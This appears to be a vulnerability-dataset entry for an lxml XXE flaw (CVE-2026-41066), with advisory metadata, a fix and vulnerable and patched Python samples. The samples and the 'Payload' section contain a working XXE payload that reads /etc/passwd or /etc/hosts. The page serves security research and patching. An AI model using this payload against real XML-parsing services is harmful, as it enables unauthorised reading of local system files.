VAITP Dataset

← Back to the dataset

CVE-2026-41066

lxml XML External Entity (XXE) vulnerability allows reading local files.

  • CVSS 7.5
  • CWE-611
  • Input Validation and Sanitization
  • Remote

lxml is a library for processing XML and HTML in the Python language. Prior to 6.1.0, using either of the two parsers in the default configuration (with resolve_entities=True) allows untrusted XML input to read local files. Setting the resolve_entities option explicitly to resolve_entities='internal' or resolve_entities=False disables the local file access. This vulnerability is fixed in 6.1.0.

CVSS base score
7.5
Published
2026-04-24
OWASP
A05 Security Misconfiguration
Orthogonal defect classification
Interface
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
lxml
Fixed by upgrading
Yes

Solution

Upgrade lxml to version 6.1.0 or later.

Vulnerable code sample

from lxml import etree

# This malicious XML payload defines an external entity ("xxe") that points
# to a local file. In this case, it targets '/etc/passwd', a common
# target for demonstrating XXE (XML External Entity) attacks.
malicious_xml = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <item>&xxe;</item>
</data>
"""

# In versions of lxml vulnerable to this issue, the default XMLParser
# had 'resolve_entities' set to True. Calling `fromstring` without a
# specially configured parser would use these vulnerable defaults.
# This would cause the parser to read the content of the file specified
# in the DTD and embed it into the XML tree.
try:
    root = etree.fromstring(malicious_xml)

    # If the attack is successful, the text content of the 'item' element
    # will be the content of the '/etc/passwd' file.
    file_content = root.find('item').text
    print(file_content)

except etree.XMLSyntaxError as e:
    # On a patched system, or a system without the file, an error is raised.
    # The error message itself often indicates that external entity loading is disabled.
    print(f"Parsing failed (as expected on a secure system): {e}")
except IOError as e:
    # This error might occur if the file doesn't exist (e.g., on Windows).
    print(f"File not found (as expected on non-Linux systems): {e}")

Patched code sample

from lxml import etree

# Malicious XML payload attempting an XML External Entity (XXE) attack
# to read a local file (e.g., /etc/hosts).
malicious_xml_input = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/hosts">
]>
<data>&xxe;</data>
"""

# FIX: Create an XMLParser with 'resolve_entities' explicitly set to False.
# This is the secure configuration that prevents the parser from accessing
# external resources like local files, mitigating the vulnerability.
secure_parser = etree.XMLParser(resolve_entities=False)

try:
    # Parse the malicious input using the secured parser.
    # The parser will now refuse to resolve the "file:///etc/hosts" entity.
    root = etree.fromstring(malicious_xml_input, parser=secure_parser)

    # In a vulnerable configuration, the text of the root element would be
    # the content of /etc/hosts. With the fix, it is empty.
    print(f"Parsing successful. Element text: '{root.text}'")
    print("The local file was not accessed.")

except etree.XMLSyntaxError as e:
    # Depending on the lxml version, parsing with an unresolved entity might
    # raise an error, which also successfully prevents the attack.
    print(f"Successfully blocked XXE attempt. Parser raised an error: {e}")

Payload

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

Cite this entry

@misc{vaitp:cve202641066,
  title        = {{lxml XML External Entity (XXE) vulnerability allows reading local files.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-41066},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-41066/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::